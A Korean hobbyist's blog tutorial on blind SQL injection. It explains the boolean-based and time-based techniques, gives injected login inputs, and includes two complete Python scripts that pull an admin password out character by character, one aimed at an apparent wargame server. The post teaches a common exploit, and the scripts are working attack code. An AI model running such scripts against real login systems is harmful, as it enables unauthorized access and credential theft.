Blind SQL INJECTION

코딩 파인애플·2026년 7월 7일

SQL INJECTION

목록 보기
4/5
post-thumbnail

안녕하십니까 코딩 파인애플입니다
이번 시간에는 Union_Based SQL INJECTION에 관해 알아보겠습니다.

⬛BLIND SQL INJECTION

BLIND SQL INJECTION 공격은 데이터베이스의 조회 결과가 화면에 직접 노출되지 않는 환경에서, 공격자가 참과 거짓의 질문을 던져 서버의 반응 변화를 통해 DB 내부의 데이터를 유추해내는 해킹 기법을 의미합니다.

쿼리의 실행 값을 responce로 받을 수 없을 때 사용하는 sql injection 기법입니다.

일단 기본적으로 코드를 짜야 하는 문제이므로 쉽지 않을 수도 있습니다.

(BLIND SQL INJECTION의 적절한 예시)

BLIND SQL INJECTION에서는 대표적으로 두 가지 공격방법이 존재합니다

1️⃣ 콘텐츠 기반 (Boolean-based)
2️⃣ 시간 기반 (Time-based)

🚵BOOLEAN-BASED SQL INJECTION

웹 페이지의 반응(텍스트, 링크, 페이지 구성 등)이 미세하게 바뀌는 것을 보고 참/거짓을 판단하는 방법입니다.

예를 들어 스무고개가 있겠습니다.

SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input';

일 때 user_input 부분을 아이디 대신

admin' AND SUBSTRING(password, 1, 1) = 'b' --

을 쑤셔넣으면 ♥️
username이 'admin'이고, password의 1번째 글자부터 1글자 잘라낸 값(SUBSTRING)이 'b'와 같냐? 라는 뜻이 됩니다.

뭐, 참이면 화면 내용이 달라지겠고, 거짓이면 '아이디나 비밀번호가 틀렸습니다.' 따위의 내용이 나오겠죠.

하지만 저희가 고작 이거 따위(...)를 알려내려고 하나하나 다 일일히 대조할 수도 없는 노릇이니 보편적으로는 코드를 만들어서 자동화를 하는 편입니다.

#username='admin'일 경우의 기초적인 blind sql injection

import requests
url = "해킹하려는 url"

# 비번 길이 탐색
def check_length(url):
    for i in range(0, 100): #99 문자까지.
        param = {
            "username": f"admin' and length(password)={i} -- 1",
            "password": "123"
        }
        r = requests.post(url, data=param)
        if "기댓값" not in r.text: 
        #'기댓값'의 경우 '참'이면 나오는 서버의 텍스트를 삽입.
            print(f"[+] password 길이 발견: {i}")
            return i

# 비번 탐색
def find_char(url, length):
    string = ""
    for i in range(1, length + 1):
        print(f"[*] {i}번째 문자 탐색중...")
        for j in range(32, 127):  # ASCII 32(공백) ~ 126(~)
            param = {
                "username": f"admin' and ascii(substr(password,{i},1))={j} -- 1",
                "password": "123"
            }
            r = requests.post(url, data=param)
            if "기댓값" not in r.text: #이하 동일.
                string += chr(j)
                print(f"  현재까지: {string}")
                break  # 이 자리 글자 찾았으니 다음 자리로
    return string
    
    
print("[*] Blind SQL Injection 공격 시작")
length = check_length(url)
if length:
    print(f"\n[*] password 길이: {length}")
    print("[*] password 추출 시작...\n")
    password = find_char(url, length)
    print(f"[+] admin password: {password}")

이렇게 다음과 같이 저번에 배운 import requests문을 이용한 자동화 코드를 통해 쉽게쉽게 알아낼 수도 있습니다.

🕕TIME-BASED SQL INJECTION

참/거짓에 따라 웹페이지의 반응이 똑같아서 눈으로는 구별할 수 없을 때 쓰이는 방법입니다.

이때는 DB를 강제로 멈춰서 딜레이의 차이로 판단합니다

시간을 지연시키는 함수인 sleep() 함수를 이용하여 Time Based SQLi를 시도합니다

import requests
import time

url = "http://war.knock-on.org:48345/login"

def check_length(url):
    for i in range(0, 100):
        param = {
            "username": f"admin' and if(length(password)={i}, sleep(3), 0) -- ",
            "password": "123"
        }
        start_time = time.time()
        r = requests.post(url, data=param)
        end_time = time.time()
        elapsed = end_time - start_time
        print(f"  길이 {i}: {elapsed:.2f}초", end="")
        # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = 조건 참
        if elapsed >= 2.5:
            print(f" ✅")
            return i
        else: print()
        time.sleep(0.1)
    return None

def find_char(url, length):
    string = ""
    for i in range(1, length + 1):
        print(f"[*] {i}번째 문자 탐색중...")
        for j in range(32, 127):
            param = {
                "username": f"admin' and if(ascii(substr(password,{i},1))={j}, sleep(3), 0) -- ",
                "password": "123"
            }
            start_time = time.time()
            r = requests.post(url, data=param)
            end_time = time.time()
            elapsed = end_time - start_time
            # 응답 시간이 2.5초 이상이면 sleep(3)이 실행된 것 = ASCII 일치
            if elapsed >= 2.5:
                string += chr(j)
                print(f"  '{chr(j)}' 발견 ({elapsed:.2f}초)")
                print(f"  현재까지: {string}")
                break
            time.sleep(0.1)
    return string
    
# 실행
print("[*] Time-Based SQL Injection 공격 시작")
print(f"[*] 대상 URL: {url}")
length = check_length(url)
if length:
    print(f"\n[+] password 길이: {length}\n")
    password = find_char(url, length)
    print(f"[+] admin password: {password}")
else: print("\n[-] password 길이를 찾지 못했습니다.")

이렇게 다음과 같이 시작 시간과 끝 시간을 감산한 값이 특정 시간을 넘을 경우 sqli이 되게 설정하게 만들 수 있습니다.


이상으로 글을 마치겠습니다 감사합니다

profile
안녕하떼요 취미로 콤푸타 배우는 고든학교 6학년 유치원생이빈다.

0개의 댓글